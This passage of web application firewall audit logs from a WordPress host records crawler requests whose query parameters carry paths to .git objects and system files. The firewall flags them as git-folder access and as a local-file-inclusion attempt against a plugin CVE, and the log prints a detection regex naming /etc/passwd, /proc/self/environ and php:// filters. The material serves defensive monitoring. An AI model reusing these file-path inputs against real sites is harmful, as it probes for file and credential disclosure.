(Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:48:55.335897 +0100","transaction_id":"abOzV_vasc2LTOMQTj91RQAAAoA","remote_address":"57.141.20.57","remote_port":43558,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/61/6695f52173655b6deb764001158960289ecc3d HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.57","X-Forwarded-Proto":"https","X-Request-Id":"69dea27d32a45a80c5a7b26cbf833eba","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11438553"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"69dea27d32a45a80c5a7b26cbf833eba","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/61/6695f52173655b6deb764001158960289ecc3d||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":263,"p2":5420,"p3":0,"p4":0,"p5":299,"sr":136,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:49:11.276887 +0100","transaction_id":"abOzZvvasc2LTOMQTj91dAAAApA","remote_address":"57.141.20.25","remote_port":42008,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/17/a1fc3b068c19ec8b3ee97b5fd68bb59035ce27 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"26c1eb654ac2e36f30ab8719cfc4fef0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4200110"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"26c1eb654ac2e36f30ab8719cfc4fef0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/17/a1fc3b068c19ec8b3ee97b5fd68bb59035ce27||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":331,"p2":5550,"p3":0,"p4":0,"p5":360,"sr":150,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:49:32.001875 +0100","transaction_id":"abOze7F5yQKviNRUY1bLhgAAA8w","remote_address":"57.141.20.9","remote_port":42006,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/ta/LC_MESSAGES/iso_639_3.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"162ed5882082c3af169a2c77e7c666dd","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5870663"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"162ed5882082c3af169a2c77e7c666dd","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/ta/LC_MESSAGES/iso_639_3.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":179,"p2":4388,"p3":0,"p4":0,"p5":244,"sr":104,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:49:44.712841 +0100","transaction_id":"abOziFlrCM1mgECVnsPhzgAAA4g","remote_address":"52.167.144.59","remote_port":33488,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /robots.txt HTTP/1.1","headers":{"Host":"ecakoog.jmkconsulting-ci.com","X-Real-IP":"52.167.144.59","X-Forwarded-Proto":"https","X-Request-Id":"c52df8cce07c37c8586aa9d1ac9634a1","X-L-Admin-Auth":"0","pragma":"no-cache","accept":"*/*","from":"bingbot(at)microsoft.com","user-agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9537417","Accept-Encoding":"br,gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Content-Length":"810","Connection":"close","Content-Type":"text/html; charset=iso-8859-1"},"body":""},"audit_data":{"error_messages":["[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.","[file \"core.c\"] [line 4012] [level 3] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace."],"handler":"redirect-handler","stopwatch":{"p1":193,"p2":2933,"p3":66,"p4":4,"p5":293,"sr":149,"sw":1,"l":0,"gc":0},"response_body_dechunked":true,"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:49:58.211197 +0100","transaction_id":"abOzlfvasc2LTOMQTj918QAAAok","remote_address":"57.141.20.22","remote_port":46042,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/p/ps300 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.22","X-Forwarded-Proto":"https","X-Request-Id":"e2c4d8a0e82c884b42c7369e20cf72ce","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11699676"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"e2c4d8a0e82c884b42c7369e20cf72ce","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/p/ps300||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":318,"p2":5910,"p3":0,"p4":0,"p5":540,"sr":160,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:50:05.093940 +0100","transaction_id":"abOznMJuHGAsZ_bVQvkK0wAAA0Q","remote_address":"57.141.20.40","remote_port":51684,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/imsanity/imsanity.2.8.4.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.40","X-Forwarded-Proto":"https","X-Request-Id":"d0c68eb1a350f620fcd0bd817f560c3d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10290515"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d0c68eb1a350f620fcd0bd817f560c3d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/imsanity/imsanity.2.8.4.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":325,"p2":9591,"p3":0,"p4":0,"p5":441,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:50:16.826306 +0100","transaction_id":"abOzqL_XFT3UbapV64mOrgAABBI","remote_address":"57.141.20.4","remote_port":43568,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/41/d6b9b577de96e7913509c087325245ffaca840 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"aaa69cf9041641dbe1734d682c7f8d8a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5870723"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"aaa69cf9041641dbe1734d682c7f8d8a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/41/d6b9b577de96e7913509c087325245ffaca840||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":359,"p2":7731,"p3":0,"p4":0,"p5":236,"sr":209,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:50:21.954888 +0100","transaction_id":"abOzrb_XFT3UbapV64mOtQAABBQ","remote_address":"57.141.20.12","remote_port":56678,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/da/476bced07169f818133a81ea25120ba2ce1301 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.12","X-Forwarded-Proto":"https","X-Request-Id":"674e7128f39e14084b970582e2babc2b","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"9634234"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"674e7128f39e14084b970582e2babc2b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/da/476bced07169f818133a81ea25120ba2ce1301||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":286,"p2":5756,"p3":0,"p4":0,"p5":394,"sr":142,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:50:42.579208 +0100","transaction_id":"abOzwb_XFT3UbapV64mO5wAABBM","remote_address":"57.141.20.10","remote_port":39002,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=/sftproot/htdocs/sivaco/.git/hooks/pre-applypatch.sample HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"0914d603883c783cb8a2006f37debc12","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4395040"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0914d603883c783cb8a2006f37debc12","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?edit=/sftproot/htdocs/sivaco/.git/hooks/pre-applypatch.sample||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":189,"p2":3667,"p3":0,"p4":0,"p5":289,"sr":121,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:50:46.389401 +0100","transaction_id":"abOzxvvasc2LTOMQTj92WgAAAok","remote_address":"57.141.20.34","remote_port":46042,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d0/a4410519fa32084cbcb2924e50d62be23f1cd8 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.34","X-Forwarded-Proto":"https","X-Request-Id":"5d0be370093e50f4ffab6595f610453e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10422004"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"5d0be370093e50f4ffab6595f610453e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/fresh-vegetables/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/d0/a4410519fa32084cbcb2924e50d62be23f1cd8||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":475,"p2":4906,"p3":0,"p4":0,"p5":460,"sr":127,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:51:04.150972 +0100","transaction_id":"abOz1_vasc2LTOMQTj92nQAAApg","remote_address":"57.141.20.32","remote_port":52034,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/locale/sr@latin/LC_MESSAGES/iso_3166-2.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.32","X-Forwarded-Proto":"https","X-Request-Id":"1a90ed3da9a63b17608934e380012873","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6558658"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1a90ed3da9a63b17608934e380012873","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/sr@latin/LC_MESSAGES/iso_3166-2.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":337,"p2":6271,"p3":0,"p4":0,"p5":424,"sr":280,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:51:14.791835 +0100","transaction_id":"abOz4llrCM1mgECVnsPiZAAAA4w","remote_address":"57.141.20.25","remote_port":51694,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/be/a0a81daaaf95c76459c613fc6efcbe5f5c8639 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"3fe042b10c33abebe55545123365c6c7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10256895"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3fe042b10c33abebe55545123365c6c7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/be/a0a81daaaf95c76459c613fc6efcbe5f5c8639||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":455,"p2":7485,"p3":0,"p4":0,"p5":924,"sr":191,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:07:51:26.239372 +0100","transaction_id":"abOz7fvasc2LTOMQTj93CwAAAoU","remote_address":"57.141.20.13","remote_port":38902,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/usr/share/locale/sr@latin/LC_MESSAGES/iso_639.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"d74843f3b9b1afa470f623bc38eb1895","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11994633"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d74843f3b9b1afa470f623bc38eb1895","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/sr@latin/LC_MESSAGES/iso_639.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag 